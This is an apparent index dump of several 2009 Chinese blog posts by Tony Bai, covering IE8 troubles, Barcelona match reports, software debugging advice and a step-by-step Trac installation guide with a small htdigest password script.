管理器发现系统CPU占了100%，再一看，IE8超级耗CPU。最初以为是某些网页中的小Flash在作祟，但后来发现，即使启动IE8后不打开任何网页，IE8都会占据近100%的CPU。实在无法再忍受了，遂决定彻底卸载IE8。\n说实话，还从来没有卸载过浏览器，遂到网上查找彻底删除IE8的方法，终于在一个站点找到了，很简单：打开你的控制面板，双击\u0026quot;添加/删除程序。在展开的对话框中，选择\u0026quot;显示更新\u0026quot;，这样你就看到IE8的升级程序，将之卸掉即可。\n看了以上的糟糕体验，你还会使用IE8吗？\n","permalink":"https://tonybai.com/2009/03/23/terrible-experience-on-ie8/","summary":"\u003cp\u003e北京时间2009年3月20日零点，软件巨头微软公司正式发布了其Internet Explorer系列的最新版本\u003ca href=\"http://www.microsoft.com/windows/internet-explorer/default.aspx\" title=\"IE8.0\"\u003e8.0\u003c/a\u003e，简称IE8。早上上班后我第一时间下载了\u003ca href=\"http://www.microsoft.com/windows/internet-explorer/default.aspx\" title=\"IE8\"\u003eIE8\u003c/a\u003e的简体中文版For Windows XP。执行安装文件，重启电脑，IE8很容易就安装完毕了。\u003c/p\u003e","title":"IE8的糟糕体验"},{"content":"典型梅式入球引爆三叉戟，巴萨主场6:0血洗马拉加。\n2009年3月23日凌晨2点（北京时间），西甲第28轮巴萨主场迎来联赛 排名中上游的马拉加队的挑战。在哈维率先为巴萨取得领先后，第24分钟，梅西右路再次上演经典型“千里走单骑”式的“梅式入球”，此后，三叉戟中的埃托奥 梅开二度，亨利也暂获一球。本场比赛后，巴萨国王梅西在本赛季上场的39场比赛中已经取得了30粒入球，联赛19个进球、国王杯5粒，冠军杯6粒入球。赛 后有人批评下半场的梅西没有发挥出10号前腰的作用，不过反过来要想如果你让哈维去做前锋，哈维能给我们带来多少粒入球呢，关键时刻能有多少次突破呢。梅西还需要时间去适应10号的角色。个人感觉梅西在25岁以后能达到哈维传球之功力就可以了。25岁之前还是让梅西尽情的上演“梅式进球”吧。\n梅西带球中\n梅西带球过人\n巴萨需要能上演精彩突破的梅西\n梅西庆祝进球\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/03/23/barca-vs-malaga/","summary":"\u003cp\u003e典型梅式入球引爆三叉戟，巴萨主场6:0血洗马拉加。\u003c/p\u003e\n\u003cp\u003e2009年3月23日凌晨2点（北京时间），西甲第28轮巴萨主场迎来联赛 排名中上游的马拉加队的挑战。在哈维率先为巴萨取得领先后，第24分钟，梅西右路再次上演经典型“千里走单骑”式的“梅式入球”，此后，三叉戟中的埃托奥 梅开二度，亨利也暂获一球。本场比赛后，巴萨国王梅西在本赛季上场的39场比赛中已经取得了30粒入球，联赛19个进球、国王杯5粒，冠军杯6粒入球。赛 后有人批评下半场的梅西没有发挥出10号前腰的作用，不过反过来要想如果你让哈维去做前锋，哈维能给我们带来多少粒入球呢，关键时刻能有多少次突破呢。梅西还需要时间去适应10号的角色。个人感觉梅西在25岁以后能达到哈维传球之功力就可以了。25岁之前还是让梅西尽情的上演“梅式进球”吧。\u003c/p\u003e","title":"梅西·梅式入球引爆三叉戟"},{"content":"每年二月末到三月初，公司都会安排一批实习生到各个部门实习。虽说去年经济危机了，但公司的实习生数量似乎并没有减少。起码我们部门\u0026quot;新同事\u0026quot;的数量基本与去年持平。按惯例，每位新同事都会有一名导师，与此同时各个部门还会根据自身的业务特点对这批学生进行有针对性的集中培训和交流。比起我入司那会儿，现在的实习生已经算是幸福多了。我那会儿实习生人数少，部门没有安排什么培训，完全靠导师安排自己努力学习。此次培训的内容是经过老员工们讨论和对新员工的需求调查后才确定的。其中新同事们普遍对如何进行程序调试这块比较感兴趣，我负责准备和实施了这个题目。虽说有过几年调试程序的经验，但是自已也没有系统的总结过，这次培训后顺便在这里做一下总结和记录。\n说到程序员，各位大脑中第一反应就是编码；但我们知道软件开发可不仅仅只有编码，调试也占据了程序员很大一部分精力。程序员\u0026quot;简单\u0026quot;的工作中，80%的时间都是在编码和调试(现在文档工作也不少)。调试的对象是BUG，BUG是什么呢？BUG就是编码过程的伴生品。既然将之诠释为\u0026quot;伴生品\u0026quot;，那就意味着\u0026quot;凡是软件，内必有BUG\u0026quot;。也许有人不同意这样的观点，但无关大碍，因为如何看待BUG本身就可以看成是一个哲学范畴的话题，大可见仁见智。\n调试前，首先做好心理准备。\n调试BUG的过程可以用\u0026quot;艰苦卓绝\u0026quot;来形容；特别是一些\u0026quot;又臭又硬\u0026quot;的BUG，难于重现，难于定位，甚至在投入相当大的精力后仍然无法Fix。所以调试BUG前就要摆正心态，要保持清醒、保持耐心，甚至要做好打\u0026quot;持久战\u0026quot;的打算。要知道Unix下还有一些BUG也是在隐藏了几十年后才被Fixed。\n预防BUG的发生，降低BUG发生概率。\n我们还需要清醒的认识到：事实证明与编码相比，调试BUG的成本是更高的。BUG可简单分为产品Release前BUG和Release后的BUG。无论哪一种，你都要经历收集数据、重现BUG、定位问题、修正问题和Accepted等多个步骤后才能重新Release。这其中以Release后的BUG花费的成本为更高。既然如此，我们何不采用一些手段来相对的预防BUG的发生，降低BUG发生的概率呢！这里说说我想到的。从一个软件的整个生命周期来看，保证软件质量应从需求开始，但这里我们主要关注编码阶段。从个体开发者角度我们可以从以下三个方面考虑：\n* 充分的静态代码检查\n充分利用你手头上的工具对你编写的代码做严格的检查，这些工具包括编译器(尽可能将警告级别提升到你可以接受的最高级别)、LINT工具等。这将帮你将代码中潜在的细小问题发掘出来，避免这些问题在事后成为隐藏的大BUG。\n* 调试版添加断言\n充分利用断言Assertions这把发现BUG的利器，借鉴契约式编程的一些规则，在你的调试版代码中适当的地方添加Assertions。这样的方法同样可以帮助你及时发现代码中隐藏的缺陷。\n* 充分的单元测试\n充分的单元测试提高代码覆盖率，减少业务逻辑遗失导致的BUG；单元测试用例还可以结合断言发现更多程序潜在问题。如果能做到测试先行，也许效果会更好。\n* 代码同级评审\n让其他人来审核你的代码，提前帮你发现潜在的问题；如果能做到结对编程，也许效果会更好。\n从组织的角度来看，持续集成的实践可以让组员更加及时的发现编码阶段的问题，不让问题遗漏到后面阶段成为严重BUG。\n如果很好的实施了上述这些手段后，你的BUG发生率会大大降低，但是前面说过：BUG不能避免，一旦BUG发生了，该怎么办？其实与BUG做艰苦卓绝的斗争，也是有一定方法的。\n* 收集\u0026quot;现场数据\u0026quot;\nBUG是表象，我们要发现内部原因还是需要更多的表象数据去推理。我们需要收集到足够的\u0026quot;现场数据\u0026quot;。比较初级的、基本的、也是被大家常用的方法就加print语句，将BUG现场周围的\u0026quot;证据\u0026quot;输出到屏幕上或者文件中，这样你能更直观的看到；当然我这里是不推荐Print语句的，因为不够专业、不够高效；拿起你的源代码调试工具，诸如GDB来完成这一功能吧；有时候现场数据可以通过你的程序运行日志而直接得到这样就更简单了，调试阶段这种日志要保持尽量详细且必要；如果是运行在客户现场的程序，你无法添加Print，也无法GDB调试，那么你需要在测试环境下重现BUG表象，然后再利用工具收集数据。重现BUG表象多数情况较容易，但是也不乏找不到重现条件的时候；这时候你就只能根据已有的运行日志等通过\u0026quot;顺藤摸瓜\u0026quot;的业务逻辑分析去\u0026quot;猜测\u0026quot;可能的重现步骤，逐一尝试，做好尝试记录，隔一段时间对记录进行分析，找出一些\u0026quot;蛛丝马迹\u0026quot;，也许会帮助你节省些时间。\n* 定位问题所在\n有了\u0026quot;现场数据\u0026quot;，需要你用\u0026quot;火眼金睛\u0026quot;从这一堆数据中找出你真正需要的；如果无法直接识别出真数据，那么可以根据数据做几组不同数据组合的模拟测试，在数据变化中\u0026quot;去伪存真\u0026quot;，找到那个\u0026quot;真悟空\u0026quot;。有了信赖的真实数据，你一般都可以根据代码逻辑推理出问题所在。但有些时候还是需要通过隔离代码、缩小嫌疑代码范围等方法才能锁定一些较难BUG的具体问题所在。\n* Fix and Test\n既然找到问题所在了，那剩下的工作就是修正它并重现验证；新用例同时也补充了你的单元测试用例库。如果修正失败，那就从头开始新一轮分析过程吧。\nBUG真的是种类繁多，情况多样。 上面也仅仅是一些常见BUG解决过程的体会。如果你已经在一个BUG上整整消耗了一天时间了，那么建议你休息一会儿，小憩一会儿，甚至是睡一觉到天亮。也许梦中你会发现问题所在。要知道大脑潜意识是会帮助我们的，估计很多人都有过类似经历，不是吗？\n定期回顾你自己\u0026quot;出产\u0026quot;的BUG列表，你会发现很多BUG是你在预防阶段做的不够好而导致的，特别是一些涉及内存操作的BUG，如果前期预防工作没有做好的话，那么后期解决BUG花费的精力会很多；定期回顾还有一个好处就是强化你的思维意识，让你以后尽量不再犯同一个错误。\n","permalink":"https://tonybai.com/2009/03/22/also-talk-about-debugging-software/","summary":"\u003cp\u003e每年二月末到三月初，公司都会安排一批实习生到各个部门实习。虽说去年经济危机了，但公司的实习生数量似乎并没有减少。起码我们部门\u0026quot;新同事\u0026quot;的数量基本与去年持平。按惯例，每位新同事都会有一名导师，与此同时各个部门还会根据自身的业务特点对这批学生进行有针对性的集中培训和交流。比起我入司那会儿，现在的实习生已经算是幸福多了。我那会儿实习生人数少，部门没有安排什么培训，完全靠导师安排自己努力学习。此次培训的内容是经过老员工们讨论和对新员工的需求调查后才确定的。其中新同事们普遍对如何进行\u003ca href=\"http://en.wikipedia.org/wiki/Debugging\"\u003e程序调试\u003c/a\u003e这块比较感兴趣，我负责准备和实施了这个题目。虽说有过几年调试程序的经验，但是自已也没有系统的总结过，这次培训后顺便在这里做一下总结和记录。\u003c/p\u003e","title":"也谈软件调试"},{"content":"使用何种工具做Feature或Defect或Task的跟踪一直是挺让我闹心的一件事。用Excel记录，但却不便于共享、统计和直观展示；Jira算是做的好的工具之一了，但无奈它是商业软件，咱没付那份儿钱，所以也就\u0026quot;无福享用\u0026quot;；Mingle是著名的Thoughtworks公司的产品，虽说不到5个license是可以免费使用的，但它却是出了名的\u0026quot;内存杀手\u0026quot;，无奈我的机器配置太差，运行起来实在太慢，遂没有坚持下去(我\u0026quot;眼冒金星\u0026quot;的渴望着更换一台无所不能的超级计算机^_^)；甚至我曾经用过ONENOTE来做跟踪，可是条目多了后，就基本不可用了。寻觅依旧进行中，这不Trac这款软件进入了我的视线中。\n网络让我知道了\u0026quot;Trac\u0026quot;。\u0026ldquo;Trac\u0026quot;这个名字，估计与Track\u0026quot;异曲同工\u0026rdquo;。至于Trac具体能做什么，你可以到其Demo站点去体验一下。简单的说，Trac = wiki + 问题处理工作流；Wiki可以用来做知识积累和管理；问题处理工作流恰是我需要的功能。但到底Trac做到啥子程度，那还需要用起来后才能知道。还有一件让我觉得很\u0026quot;幸福\u0026quot;的事，那就是Trac自带一个独立的web server程序Tracd，并且Trac可使用Python 2.5.x自带的SQLite，这样我可以不用安装和配置庞大的Apache和MySQL了。让用户能快速上手应该是Trac值得其他开源软件学习和参考的一个亮点，要知道一些庞大的开源软件繁复的安装和配置过程让很多使用者产生了\u0026quot;挫败感\u0026quot;而\u0026quot;另辟蹊径\u0026quot;了。\nTrac是用Python开发的，可以跨平台使用。这里我以Windows上的Trac为例。Trac官方站上有详尽的文档可以指导你的安装、配置和使用。这里用中文做简单介绍吧，留下一个记录，也便于自己以后参考。安装不是最重要的，但是没有了安装却是万万不能的。\n1、安装Python, 设置环境变量\n对于Trac而言，其解释执行环境Python是必不可少的，虽然Python发布了最新版是3.0.x，但是在已存的Python代码中，Python 2.x版本还是占据绝大多数，过渡到Python 3.0还需要时间。我这里用的是Python 2.5版本。安装完Python后，别忘了将{Python_INSTALL_DIR}和{Python_INSTALL_DIR}/Scripts加入到你系统的环境变量(path变量)中去(一般Python_INSTALL_DIR为\u0026quot;C:\\Python25\u0026quot;)。\n2、使用Windows installers安装Trac\n比起手动安装(Manual Install)，在Windows上使用Installer安装Trac更为简便。依次下载和安装：SetupTools、Genshi和Trac 0.11。注意要下载对应Python 2.5版本的安装文件。如果你要用Trac与Subversion接口的话，建议你下载一份svn-python程序，使用其他svn客户端程序似乎不好用。另外Trac只支持连接本地svn repository，不支持远程svn repository。以上安装程序会把相应可执行程序或脚本放到Python相关目录下，所以不需重新设置环境变量。\n3、初始化一个工程\n完成以上两步，你就可以使用Trac了。Trac运行和管理的基本环境单位是一个工程(Project)。首先你要确定你的工程所在的目录，这里以D:\\TracProjects\\Foo为例，我们建立一个名为\u0026quot;Foo\u0026quot;的Trac工程。打开一个命令行窗口，执行：\ntrac-admin.exe D:\\TracProjects\\Foo initenv\n这是个交互执行的过程，你需要填写一些工程的基本信息，比如工程名字、数据库连接字符串等，你大可一路默认下来就可以得到一个默认的工程环境。\n4、启动Trac\n一切就绪。我们现在就可以启动Trac了。到目前为止，一切都是那么简单，这也充分证明Trac入门简单。在命令行下执行如下命令启动Trac Web server：\ntracd.exe -p 8000 D:\\TracProjects\\Foo\n现在你打开浏览器，访问Url: http://localhost:8000，Trac的界面就会展现在你面前。界面上你只能看到\u0026quot;Available Projects\u0026quot;的列表，由于我们只是建立了一个Project，所以你只能看到Foo这一个超链接。点击Foo，进入Foo的工程页面。\n5、为Trac Project添加用户\nTicket是Trac Project管理和操作的基本元素，但是在通过上面方式以匿名登录方式打开的页面上你只能\u0026quot;View Tickets\u0026quot;，而无法\u0026quot;New Ticket\u0026quot;；要想拥有\u0026quot;New ticket\u0026quot;的权限，你需要以一个Trac用户的身份登录。初始情况下，Trac没有建立任何用户。Trac创建用户是通过建立\u0026quot;Password file\u0026quot;的方式来完成的。Trac默认的密码文件格式与Apache的相同，都是.htdigest格式的。如果你的系统内没有安装Apache，你可以用Trac wiki上提供的trac-digest.py脚本来生成密码文件。你可以将trac-digest.py文件放到{Python_INSTALL_DIR}/Scripts下面。\n# trac-digest.py\nfrom optparse import OptionParser\n# The md5 module is deprecated in Python 2.5\ntry:\nfrom hashlib import md5\nexcept ImportError:\nfrom md5 import md5\nrealm = \u0026rsquo;trac'\n# build the options\nusage = \u0026ldquo;usage: %prog [options]\u0026rdquo;\nparser = OptionParser(usage=usage)\nparser.add_option(\u0026quot;-u\u0026quot;, \u0026ldquo;–username\u0026rdquo;,action=\u0026ldquo;store\u0026rdquo;, dest=\u0026ldquo;username\u0026rdquo;, type = \u0026ldquo;string\u0026rdquo;,\nhelp=\u0026ldquo;the username for whom to generate a password\u0026rdquo;)\nparser.add_option(\u0026quot;-p\u0026quot;, \u0026ldquo;–password\u0026rdquo;,action=\u0026ldquo;store\u0026rdquo;, dest=\u0026ldquo;password\u0026rdquo;, type = \u0026ldquo;string\u0026rdquo;,\nhelp=\u0026ldquo;the password to use\u0026rdquo;)\nparser.add_option(\u0026quot;-r\u0026quot;, \u0026ldquo;–realm\u0026rdquo;,action=\u0026ldquo;store\u0026rdquo;, dest=\u0026ldquo;realm\u0026rdquo;, type = \u0026ldquo;string\u0026rdquo;,\nhelp=\u0026ldquo;the realm in which to create the digest\u0026rdquo;)\n(options, args) = parser.parse_args()\n# check options\nif (options.username is None) or (options.password is None):\nparser.error(\u0026ldquo;You must supply both the username and password\u0026rdquo;)\nif (options.realm is not None):\nrealm = options.realm\nGenerate the string to enter into the htdigest file kd = lambda x: md5(\u0026rsquo;:\u0026rsquo;.join(x)).hexdigest()\nprint \u0026lsquo;:\u0026rsquo;.join((options.username, realm, kd([options.username, realm, options.password])))\n我们使用如下命令生成密码文件：\npython trac-digest.py -u \u0026ldquo;foo\u0026rdquo; -p \u0026ldquo;foo123\u0026rdquo; \u0026raquo; d:\\tracprojects\\foo\\conf\\users.htdigest，\n这里我们建立一个用户：用户名为foo，密码为foo123。\n我们再次来启动Trac，这次由于带有了用户鉴权，启动命令行与前面略有不同。\ntracd –port 8000 –auth=Foo,d:\\tracprojects\\foo\\conf\\users.htdigest,trac d:\\trarojects\\foo\n启动后，我们点击login，Trac会提示我们输入用户名和密码，输入foo/foo123后，你就可以看到界面显示：logged in as foo，并且\u0026quot;New Ticket\u0026quot;菜单出现在页面上方。\n6、Trac.ini\nconf目录下的Trac.ini是针对Foo这个Trac Project的主配置文件。里面各个字段的含义说明在Trac官网都有说明。通过修改Trac.ini你可以很简单的在页面上添加你喜欢的Project Logo。\n7、Ticket\nTicket是Trac的核心，默认情况下，Trac为Ticket设定了诸多属性，并且设定了围绕Ticket的默认工作流。对于Ticket的每个属性字段，我们都可以通过trad-admin工具对字段取值进行增删改，以适合你的需要。诸如：trac-admin d:\\TracProjects\\foo component add Webms foo，这句的含义就是添加一个属于foo工程的名为\u0026quot;Webms\u0026quot;的组件值。Ticket没有类似\u0026quot;Deadline\u0026quot;的时间属性，我们可以用milestone和priority来约束解决Ticket的时间范围。在\u0026quot;View tickets\u0026quot;页面中，Trac内置了多种\u0026quot;Report\u0026quot;，你同样也可以自定义搜索，但是目前用户尚不能在\u0026quot;View Tickets\u0026quot;中保存自定义搜索为固定的\u0026quot;Report\u0026quot;，但是你可以将自定义搜索语句放到一个WIKI页面的链接选项中，这样你就可以方便的直接得到搜索结果了，无需每次都配置搜索条件。\n8、WIKI\nTrac内置WIKI引擎，你可以通过trac-admin d:\\TracProjects\\foo wiki list来查看当前Project的所有WIKI page名称。你也可以通过trac-admin d:\\TracProjects\\foo wiki import WIKI_PAGE_NAME new_WIKI_page.txt为Foo Project导入一个名为\u0026quot;WIKI_PAGE_NAME\u0026quot;新WIKI页，该页内容来自文件new_WIKI_page.txt。和所有其他Wiki一样，你可以任意定制你的Project中的任意Wiki页面。\n从上面的8个步骤来看，Trac简单而且实用，我已经根据我自己的需要对Trac Project进行了初步定制，并导入了我要追踪的需求、任务和问题，更多的高级功能还需要一段时间去发掘，今天的发掘到此为止了。\n","permalink":"https://tonybai.com/2009/03/18/learn-trac/","summary":"\u003cp\u003e使用何种工具做Feature或Defect或Task的跟踪一直是挺让我闹心的一件事。用Excel记录，但却不便于共享、统计和直观展示；\u003ca href=\"http://www.atlassian.com/software/jira/\" title=\"Jira\"\u003eJira\u003c/a\u003e算是做的好的工具之一了，但无奈它是商业软件，咱没付那份儿钱，所以也就\u0026quot;无福享用\u0026quot;；\u003ca href=\"http://tonybai.com/2008/04/09/the-experience-of-mingle/\" title=\"Mingle\"\u003eMingle\u003c/a\u003e是著名的\u003ca href=\"http://www.thoughtworks.com/\" title=\"Thoughtworks\"\u003eThoughtworks\u003c/a\u003e公司的产品，虽说不到5个license是可以免费使用的，但它却是出了名的\u0026quot;内存杀手\u0026quot;，无奈我的机器配置太差，运行起来实在太慢，遂没有坚持下去(我\u0026quot;眼冒金星\u0026quot;的渴望着更换一台无所不能的超级计算机^_^)；甚至我曾经用过ONENOTE来做跟踪，可是条目多了后，就基本不可用了。寻觅依旧进行中，这不\u003ca href=\"http://trac.edgewall.org/\" title=\"Trac\"\u003eTrac\u003c/a\u003e这款软件进入了我的视线中。\u003c/p\u003e\n\u003cp\u003e网络让我知道了\u0026quot;Trac\u0026quot;。\u0026ldquo;Trac\u0026quot;这个名字，估计与Track\u0026quot;异曲同工\u0026rdquo;。至于Trac具体能做什么，你可以到其\u003ca href=\"http://www.hosted-projects.com/trac/TracDemo/Demo\" title=\"Trac Demo站点\"\u003eDemo站点\u003c/a\u003e去体验一下。简单的说，Trac = wiki + 问题处理工作流；Wiki可以用来做知识积累和管理；问题处理工作流恰是我需要的功能。但到底Trac做到啥子程度，那还需要用起来后才能知道。还有一件让我觉得很\u0026quot;幸福\u0026quot;的事，那就是Trac自带一个\u003ca href=\"http://trac.edgewall.org/wiki/TracStandalone\" title=\"Trac Standalone Server\"\u003e独立的web server\u003c/a\u003e程序Tracd，并且Trac可使用Python 2.5.x自带的SQLite，这样我可以不用安装和配置庞大的Apache和MySQL了。让用户能快速上手应该是Trac值得其他开源软件学习和参考的一个亮点，要知道一些庞大的开源软件繁复的安装和配置过程让很多使用者产生了\u0026quot;挫败感\u0026quot;而\u0026quot;另辟蹊径\u0026quot;了。\u003c/p\u003e","title":"发掘Trac"},{"content":"巴萨国王梅西打入本轮冠军杯最佳入球，巴萨主场打爆法甲七冠王里昂，晋级八强。\n2009年3月12日凌晨3点45分（北京时间），西甲豪门巴萨坐镇诺坎普迎来了法甲七冠王里昂的挑战。在八强战首回合比赛中，处于低靡期的巴萨在客场1:1艰难战平里昂，获得一个宝贵的客场进球。本场比赛前巴萨刚刚打入国王杯决赛，并且在西甲第26轮比赛中2:0击败毕尔巴鄂竞技获得近五轮比赛来的首场胜利，球队正在逐渐走出低靡。更重要的是前场三叉戟亨利、埃托奥和梅西都恢复了进球的感觉；特别是梅西，在近三轮的联赛和国王杯比赛中场场有进球，这似乎在说明那个无所不能的天才梅西正在回归。\n本 场比赛巴萨首发阵容唯一遗憾的是队长普约尔因伤无法出场。三叉戟亨利、埃托奥和梅西急切渴望能用进球为球队带来胜利，哈维和最近状态极佳的伊涅斯塔作为球 队的心脏为巴萨提供源源不断的进攻动力，图雷辅佐，增加中场硬度。普队不在，马科斯和皮克的中卫组合作为巴萨后防屏障，阿尔维斯和老将西尔维尼奥分列两 翼，巴尔德斯则期望这场比赛能证明自己不是“黄油手”。里昂也几乎是全部主力，力图在客场翻盘巴萨进军八强，队内头号球星卡里姆·本泽马则期待在于同龄梅 西的再次对决中能占得上风。\n开场后，诺坎普近10万名球迷缔造的主场气氛还是给客队里昂的球员带来了不小的压力的，但是里昂的队员毕竟也是“久经沙场”的，前10分钟，巴萨在局面上 并没有占有足够的优势，更多看到的是巴萨在中后场的倒脚和控球，而控球上的优势没有给对方带来实质性的威胁，只有梅西在右路的一次突破以及在中路一记找亨 利的直传给对方造成了些许的紧张气氛。里昂则是由本泽马制造了几次越位。\n复出不久的小白本场表现很是活跃，频繁的突破让对方防守球员不得不用凶狠的防守抑制，第12分钟，小白就被克里斯在禁区前放倒，巴萨获得位置极佳的任意 球。哈维主罚该球，球打在人墙上出界。这个球再次让球迷们感受到到巴萨在定位球方面的欠缺，如果换成对方的小儒尼奥尔，这个球可能就是必杀。往往一个这样 的机会就能决定比赛的胜利，巴萨要想长期占牢欧洲之巅的话，一个定位球高手是不可或缺的。梅西主罚该角球，不过质量不是很高。\n对方对梅西的防守滴水不漏，梅西一拿球，对方就有2到3名球员对梅西进行合围。埃托奥在第15分钟获得射门良机，伊涅斯塔的传球很舒服，不过埃托奥右路的 射门稍稍偏出。15分钟后，巴萨逐渐控制住场上局面，对方基本没有拿球机会，巴萨也在对方半场发起一轮接这一轮的攻势，三叉戟频繁换位给对方的防守带来很 大麻烦。第16分钟，巴萨前场打出精妙配合，最后小白临门一脚将球打高。\n梅西再次PK格罗索，这次梅西毫无疑问占了上风。\n第19分钟，里昂在郁闷了很久后终于完成了一次反击。本泽马传球，埃德松中路的射门偏出。第20分钟，里昂卷土再来，本泽马在马科斯的干扰下在球门前将球打高。小本也是一脸无奈。\n在顶住里昂的多次反击后，巴萨也完成一次反击，并在这次反击中敲开了对手的大门。第25分钟，马科斯后场断球后，长传前场，亨利反越位成功，单刀赴会，面对门将出击的封堵，亨利用脚弓轻轻一推，球从门将身下掠过后滚入球门，巴萨1:0主场领先。巴萨三叉戟的表演从此开始。\n刚刚两分钟过后，巴萨再次取得进球。换为到右路的埃托奥传中，哈维将球妙传给左路无人防守的亨利，亨利得球后稍作调整后大力施射，球应声入网，2:0，巴 萨获得梦幻般开局，法国人扮演了了巴萨晋级路上急先锋的角色。有两个球优势在手的巴萨球员打得更加放松了，并且牢牢的控制住了场上的局面，比赛完全进入巴 萨节奏。历史证明一旦进入巴萨节奏，对于对方而言，这比赛就没法打了，首当其冲的就是抢不到球。\n梅西积极拼抢中\n占据场上控球优势的巴萨持续对里昂的球门施加压力，第40分钟，之前一直只在外围活动的梅西接到队友后场的长传后突然发力，从右路连续带球突进，先躲过贴 身防守球员的一记飞铲，又趟过后面补防的一名里昂球员，由于已经进入禁区，后面上来的对方球员没敢轻举妄动；禁区内里昂的球员只是站住位置同样没敢伸脚拦 截梅西，梅西则横向带球与中路的埃托奥做个撞墙式配合，赶在对方三名后卫合围之前推射大门左侧远角得分。无奈梅西射门角度太刁钻，对方门将已经倒地扑救也 没能拦住皮球。可媲美高山障碍滑雪式的大角度过人突破已经成为了梅西的风格标志(Messiesque)。这记典型的梅西式进球让诺坎普再次沸腾，这粒进球也基本上宣告了里昂的“死刑”。 进球后三叉戟抱在一起庆祝，这似乎是在向世人宣告：那个欧洲最强进攻锋线组合回来了！\n梅西上演“凌波微步”\n梅西破门瞬间\n第43分钟，埃托奥接亨利的传球大门中的，同时也结束了自己的“球荒”。三叉戟在不到20分钟内打入4粒入球，面对这样的巴萨，里昂不得不俯首称臣。不过巴萨那道让球迷不放心后防线还是在上半场补时阶段出现了漏洞，里昂依靠利用一次角球机会头球破门，扳回一分。\n下半场一开场，巴萨后防的松懈再次付出代价，儒尼奥尔在无人防守的情况下射门成功，里昂将比分扳为2:4。巴萨球员重新紧张起来，梅西继续在外围活动，充 当组织手的角色，梅西已经清楚的认识到只有保护好自己才是对巴萨最大的贡献，再也不能重蹈前几个赛季受伤的覆辙。在如此大比分领先的前提下，帮助队友进球 就足够了。扳回两个球后，巴萨后防就再也没给里昂机会，相反倒是在第95分钟，替补出场的凯塔再为巴萨建功，并将最终比分定格为5:2，巴萨成功晋级8 强。\n与巴萨一同进入八强的包括英超四强、拜仁、比利亚雷亚尔和淘汰了马竞的波尔图。8强的抽签将在3月20日揭晓。从8强分布情况来看，再次形成了欧洲打“英 超”的局面，不知道欧足联针对这一情况是否有所想法，是让英超一只独大还是其他，只有通过8强结果才能看得出来。从现在来看，巴萨对手很可能是英超的一只 稍差的球队或者是波尔图，毕竟在这些队伍中，只有巴萨最具抗英的实力。期待巴萨在本年度的欧冠道路上能走得越远越好。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/03/12/europe-barca-vs-lyons/","summary":"\u003cp\u003e巴萨国王梅西打入本轮冠军杯最佳入球，巴萨主场打爆法甲七冠王里昂，晋级八强。\u003c/p\u003e\n\u003cp\u003e2009年3月12日凌晨3点45分（北京时间），西甲豪门巴萨坐镇诺坎普迎来了法甲七冠王里昂的挑战。在八强战首回合比赛中，处于低靡期的巴萨在客场1:1艰难战平里昂，获得一个宝贵的客场进球。本场比赛前巴萨刚刚打入国王杯决赛，并且在西甲第26轮比赛中2:0击败毕尔巴鄂竞技获得近五轮比赛来的首场胜利，球队正在逐渐走出低靡。更重要的是前场三叉戟亨利、埃托奥和梅西都恢复了进球的感觉；特别是梅西，在近三轮的联赛和国王杯比赛中场场有进球，这似乎在说明那个无所不能的天才梅西正在回归。\u003c/p\u003e","title":"梅西·滑雪式入球打爆里昂"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 